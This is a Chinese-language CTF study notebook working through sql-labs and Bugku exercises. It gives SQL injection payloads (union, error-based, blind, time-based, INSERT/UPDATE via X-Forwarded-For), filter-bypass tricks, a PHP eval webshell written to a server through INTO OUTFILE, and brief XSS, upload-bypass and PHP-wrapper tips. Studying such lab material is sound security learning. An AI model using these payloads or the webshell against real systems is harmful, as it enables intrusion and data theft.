ctf学习笔记

sql-labs试炼:

基础方法
order by 经常用不了,所以要用union select 可以判断列数
1、有关union select:
判断注入位。然后
前提条件:有显示位(即有数据库展示数据的位置)

常用方法:
group_concat():一次性打出
语句中夹杂的limit:sql在查询时,经常会出现多行结果,用limit可以限定打出的结果,比如仅仅打出第一行,就使用limit 0,1,想打出查询结果的第二行和第四行,用limit 1,3(从第二行到第四行)

mysql的information_schema库内含数据库的许多信息:
综合以上一般注入可以用到:
①、1,2,group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema=database() #表示 + 一次性打出 + 当前数据库的所有的表名,from语句必须放在union select 后面。
②、group_concat(column_name) from INFORMATION_SCHEMA.columns where table_schema=database() #表示 + 一次性打出 + 当前数据库的所有的col(列)
③、select concat((select database())):显示当前数据库名字,
④、substr(str,int,int):截取str字符串,从int位开始,截取int位,这里是从1开始,第一个字母为1

sql报错盲注:

三种方式:floor(输出长度64位),updatexml(32位,且payload返回不是xml格式),extractvalue(32位))
以下为sqllabs less5(利用floor):
①、爆出当前数据库、用户名:([1]是为了凑够一行)
id=1' union select count(*),[1],concat((select database()), floor(rand(0)*2))as a from information_schema.columns group by a --+ 报错注入的例句,该句会爆出当前使用数据库的名称和一个1或者0的随机数:concat()连接函数,floor()取整函数,rand()是随机生成一个0-1的数字。同时,我们还可以替换掉database(),替换成version(),则会爆出所选的版本。#使用于ubuntu版本的mysql

②、爆出某个数据库的表:
id=1' union select count(*),[1], concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+,更改limit后面的第一个数字数字可以爆出所有的表(此处信息超过一行,所以就不能使用group_concat,替换成concat并使用limit,limit代表输出的起始位置,1代表输出1一个,即从0开始输出1一个)。security是已经获取的数据库

③、爆出某表某列:
id=1' union select count(*),[1], concat('~',(select column_name from information_schema.columns where table_schema='security(数据库)' and table_name='emails(表名)' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+
修改limit后面的数字可以爆出所有的列。

④、爆出数据:
id=1' union select count(\*),[1], concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+

sql 已得权限 注入(less-7):

得拥有能够读写的权利,且拥有一个明确的绝对路径,文件必须小于max_allowed_packet。
(判断是否有读写权限的sql语句:and (select count(*) from mysql.user)>0 如果结果正常说明有读写权利)
利用语句select <?php @eval($_POST["haha"])?> into outpile "一个明确的服务器路径",给服务器传入一个php文件,此时服务器里面就会有一个这个文件存在你写的路径里面,此时便可以用菜刀来做了。

sql 时间延迟盲注(建议用python写脚本,就相当于真盲注):

可以先看过滤情况,再判断是使用if(exp1,exp2,exp3)(使用方法:如果exp1成立,则执行exp2,否则执行exp3)还是使用case when exp1 then sleep(x) else 1 end(当exp1成立,则sleep x秒,否则就是以1结束),也就是如果注入成功,则页面会sleep x秒,否则直接出现页面不会sleep

sql (真)盲注(Less-8)(python写脚本):

也是在找到注入点之后进行注入。(这里加入单引号为注入点)

①爆数据库:
url修改为: url+"?id=1' and ascii(substr(database(),"+str(i)+",1))="+str(j)+'--+,i是代表数据库的第几位数,j是代表ascii码,利用返回的网页源码和正则匹配判断网页是否正常(”显示You are in…..”),通过此方法得到数据库的完整名。此时已经爆出数据库名为security

②爆表:
url修改为: url+"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit "+"str(x)"+",1),'+str(i)+',1))=str(j)",其中x代表是位置为x的表,i代表该位置表的第i位,j代表该位置表的第i位的ascii码,通过此方法可以爆出security下面所有的表

sql insert into注入(bugku insert into注入 )新版本无法注入(会报错显示Truncated incorrect DOUBLE value)

网站执行的sql语句为:insert into client_ip (ip) values ('$ip'),伪造xff头,为1' and sleep(5)) #输入构建成完整语句:insert into client_ip (ip) values ('1' and sleep(5)),此时会发现网页会sleep 5秒,即insert注入成功,再修改sleep(5)为其他注入语句即可
似乎在insert注入中无法使用–+截断之后的字符,要用#

sql update注入(Less-17):

先找到注入点(也就是后面加什么符号),然后利用注入语句updatexml(2,concat(0x7e,(select database())),0)+收尾即可

sql 异或注入(bugku-sql注入2):

1、.DS_Store扫描漏洞
2:(重点),这题过滤了许多字符。但通过bp发现',-没有被过滤,无法使用一般的--+等其他方法注释掉其他方法。找到闭合点为',构造登陆语句为:admin '-(xxx)-'进行注入(xxx可以使用任意能连接and的语句)
解释:

后面的'为了闭合,-就是减号,''而符合条件的正常字符串结果为1,where语句就相当于对每一行的col值进行判断,判断where表达式的值是否为1,是就输出该行的col值。
所以此题可以通过判断返回的是否是用户名错误(正常情况下用户名就是admin,密码可以随便输入,因为它是先判断用户名是否正确再判断密码是否正确)或者密码错误的情况判断括号里面的表达式是否正确,如果正确就返回密码错误,反之则是账号错误。

过滤技巧:
1、由于此题空格和,都被过滤了,可用的方法就少了,substr,mid,left等方法不能使用逗号,就要换方法使用,比如substr(‘abcde’from(1)for(1))=a(数字两边一定要有括号,其他同理,第一个,都要替换成for(这里的),注意,from的第一个字母为1,),此题ascii没有过滤,索性使用ascii方法注入(注意,如果是一个长字符串,ascii方法测试的仅仅是第一个字符串)。之后就可以使用python脚本注入了。(空格可以用/*/代替,语句之间用+也可以)
2、等号过滤之后可以使用!(exp1<>exp2),这等于exp1=exp2,还有like,in,between…and…(>=前面且<=后面)等方法。
3、select过滤之后可以尝试使用/\
!%53eLEct*/绕过,修改成sel+ect(效果甚微,一种方式),修改大小写,修改成url编码,修改成s/**/e/**/l/**/e/**/c/**/t,修改成chr(xx)+chr(xx)+chr(xx)的形式,修改成hex格式,或者内嵌入会被过滤掉的字符

ip欺骗

Remote Address:具有一定的防篡改功能(修改之后获取不到响应报文),是发送请求的源地址,但如果被服务器的反向代理器转发,就收不到用户的真实IP,所以就有了xff,xff用来存储用户的真实地址,然后发送给后端
xff(X-Forwarded-For):是http请求端真正的ip,也就是用户的ip,但可以被修改

做题时可以通过修改xff获取flag。

命令注入

执行命令:

XSS做题记录

1、设法弹窗:
①如果被过滤掉了\<script>标签,可以直接尝试使用其他标签在标签中加入onerror,
②如果输入\或者</\xxx>都会被过滤,

upload 试炼

1、 通过截断上传数据包,修改Content-Type来上传

??

1、对于定时刷新的网页,可以用python的session提交。
2、

php伪协议获取当前php页面源码:

?page=php://filter/read=convert.base64-encode/resource=xxx.php

弱类型比较

在这里插入图片描述

一般题记录

漏洞绕过:
1、要求$_GET[‘num’]==1,但is_numeric函数判断输入的是否是纯数字,输入任意1+str都可以过。
2、php的ereg(i)函数,可以使用%00截断,这个%00会被转义成\0,被算作一个结束符,也就是一个字符

3、文件绕过:上传php文件,有关php的文件类型有php2,php3,php4,php5,phtml,phtm,phps。
4、intval漏洞:intval(“十六进制”)会返回0,但intval(“十六进制+1”)会强制转换成数形。(旧版本漏洞)
5、php的chr()本质是对256取余,遇到类似判定可使用。
6、代替空格的方法:
%09 TAB键(水平)
​ %0a 新建一行
​ %0b TAB键(垂直)
​ %0c 新的一页
​ %0d return功能
​ %a0 空格
7、django使用的gbk编码,超过%F7的编码在gbk中无意义,当站点设置的CURLOPT_SAFE_UPLOAD为True时,如果在请求前面加@,phpcurl组件会把后面的字符当成绝对路径请求来读取文件,当且仅当文件中存在中文字符的时候。django才会报错获取文件内容。
8、php5.5.0前,传入修饰符’\e’会使preg_replace方法的replacement(第二个参数)部分会被执行成php代码(前提能发生替换行为),PHP正则开头前会要加/
9、当system(“”)无法使用时,可以使用print_r(scandir(‘.’))获取路径,var_dmup(file_get_contents(‘路径’))